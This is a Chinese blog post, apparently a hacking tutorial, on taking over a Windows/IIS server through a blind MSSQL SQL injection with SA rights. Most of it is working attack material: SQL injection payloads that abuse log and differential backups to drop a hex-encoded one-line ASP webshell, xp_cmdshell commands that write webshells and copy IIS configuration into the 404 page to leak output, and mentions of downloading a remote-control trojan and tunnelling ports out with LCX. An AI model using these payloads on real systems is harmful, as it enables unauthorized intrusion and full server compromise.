一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用。方法很简单大家看操作。

我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。

这里的主机环境:MSSQL+JSP 权限为不显错的SA,支持多行执行 xp_cmdshell存活 服务器处于内网,WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003,IIS,404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

思路:

首先:

通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面,然后访问WEB站点的一个不存在的目录得到命令执行结果,刺探服务器信息。

1.日志备份获得Webshell

2.数据库差异备份获得Webshell

4.直接下载******远控******。

5.直接下载LCX将服务器端口转发出来

6.通过XP_CMDSHELL 执行命令读取iis配置文件(C:\Windows\system32\inetsrv\MetaBase.xml )分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。

在这里我就不浪费大家时间了,我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载************。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了,

我直接演示后面一个方法

分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL

◆日志备份:

1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  
3. 备份并获得文件,删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--

◆数据库差异备份

(1. 进行差异备份准备工作

;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码

(2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话****** %><%eval(request(chr(97))):response.end%>

3. 备份数据库并清理临时文件

;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

0x633A5C746573742E617370  为 c:\test.asp  删除临时文件

用^转义字符来写ASP(一句话木马)文件的方法:

1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

读取IIS配置信息获取web路径

注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--

参考文章:drops.wooyun.org/tips/401

MSSQL Sa账户弱口令利用总结 
https://maoxian.de/2011/12/mssql-sa%E8%B4%A6%E6%88%B7%E5%BC%B1%E5%8F%A3%E4%BB%A4%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/50.html

MSSQL注入SA权限不显错模式下的 入 侵的更多相关文章

  1. Mssql显错和不显错模式下的注入

    Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51 近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用! -------------------- ...

  2. 一次利用MSSQL的SA账户提权获取服务器权限

    遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下 ...

  3. mssql注入指令

    and exists (select * from sysobjects) //判断是否是MSSQL and exists(select * from tableName) //判断某表是否存在..t ...

  4. mssql 注入

    注入查阅 .返回的是连接的数据库名 .作用是获取连接用户名 .将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db ...

  5. MSSQL注入常用SQL语句整理

    很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句. 手工MSSQL注入常用SQL语句 and exists (select * from ...

  6. 收集的MSSQL注入笔记

    ①判断数据库类型 and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) ...

  7. MSSQL注入--反弹注入

    明明是sql注入的点,却无法进行注入,注射工具拆解的速度异常的缓慢,错误提示信息关闭,无法返回注入的结果,这个时候你便可以尝试使用反弹注入, 反弹注入需要依赖于函数opendatasource的支持, ...

  8. 大哥带的MSsql注入(SQL Server)--预习

    ①判断数据库类型and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) f ...

  9. 学习笔记 MSSQL显错手工注入

    和朋友一起学习,速度就是快.感谢珍惜少年时. 网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段.如下: ' and (查询一段内容)=1 and 'C'='Cnvarchar类型(查询一 ...

随机推荐

  1. 【CF1023D】Array Restoration(构造,线段树)

    题意:有一个长为n的序列,对其进行q次操作,第i次操作可以把连续的一段覆盖为i 现在给出操作后的序列,第i个数字为a[i],其中有一些为0的位置可以为任意值,要求构造任意一组合法的操作后的序列 无解输 ...

  2. linux缺页异常处理--用户空间【转】

    转自:http://blog.csdn.net/vanbreaker/article/details/7870769 版权声明:本文为博主原创文章,未经博主允许不得转载. 用户空间的缺页异常可以分为两 ...

  3. selenium的动作链 actionchains

    click(on_element=None) ——单击鼠标左键 click_and_hold(on_element=None) ——点击鼠标左键,不松开 context_click(on_elemen ...

  4. BufferedInputStream&BufferedOutputStream

    使用字符缓冲区相关实现copy文件: public static void main(String[] args) { //创建文件对象指定要拷贝的文件路径(源文件),文件须存在,测试用例不做判断 F ...

  5. linux的文件布局

    /bin---权限为 rwxr-xr-x 所有者为root/root 用户bin最先进入的工作目录就是这里.这里放置的是执行目录,但是特殊在这里的命令可以被一般用户使用(root更能使用).例如 ca ...

  6. Java反射常用API汇总

    “JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意方法和属性” 一.类对象的获取 1.通过对象获取 Object obj = ne ...

  7. pycharm配置pep8

    可以使用外部工具,来检查代码是否符合pep8的风格: 1)下载 autopep8,这个简单,pip3 install pep8 2)在pychamr中配置: A)file-setting..-tool ...

  8. android 使用 LocalStorage

    PS:本身是.net 出身 因为项目需要 研究了好几天安卓 这个方法网上也有 自己也写出来 有时间自己看看 和 给还没有解决问题的朋友借鉴下,下面有标个重点 是允许使用localstorage 的关键 ...

  9. [thinkphp] APP_DEBUG开启之后session不稳定

    有时候在一个方法中写入了session, 在另一个方法中打印却什么都没有. 我这次的情况是网页上通过ajax传值到一个php函数,然后php把值写入session中.然后我在另一个php方法中打印se ...

  10. HDU 6237.A Simple Stone Game-欧拉函数找素因子 (2017中国大学生程序设计竞赛-哈尔滨站-重现赛)

    A Simple Stone Game Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 262144/262144 K (Java/Ot ...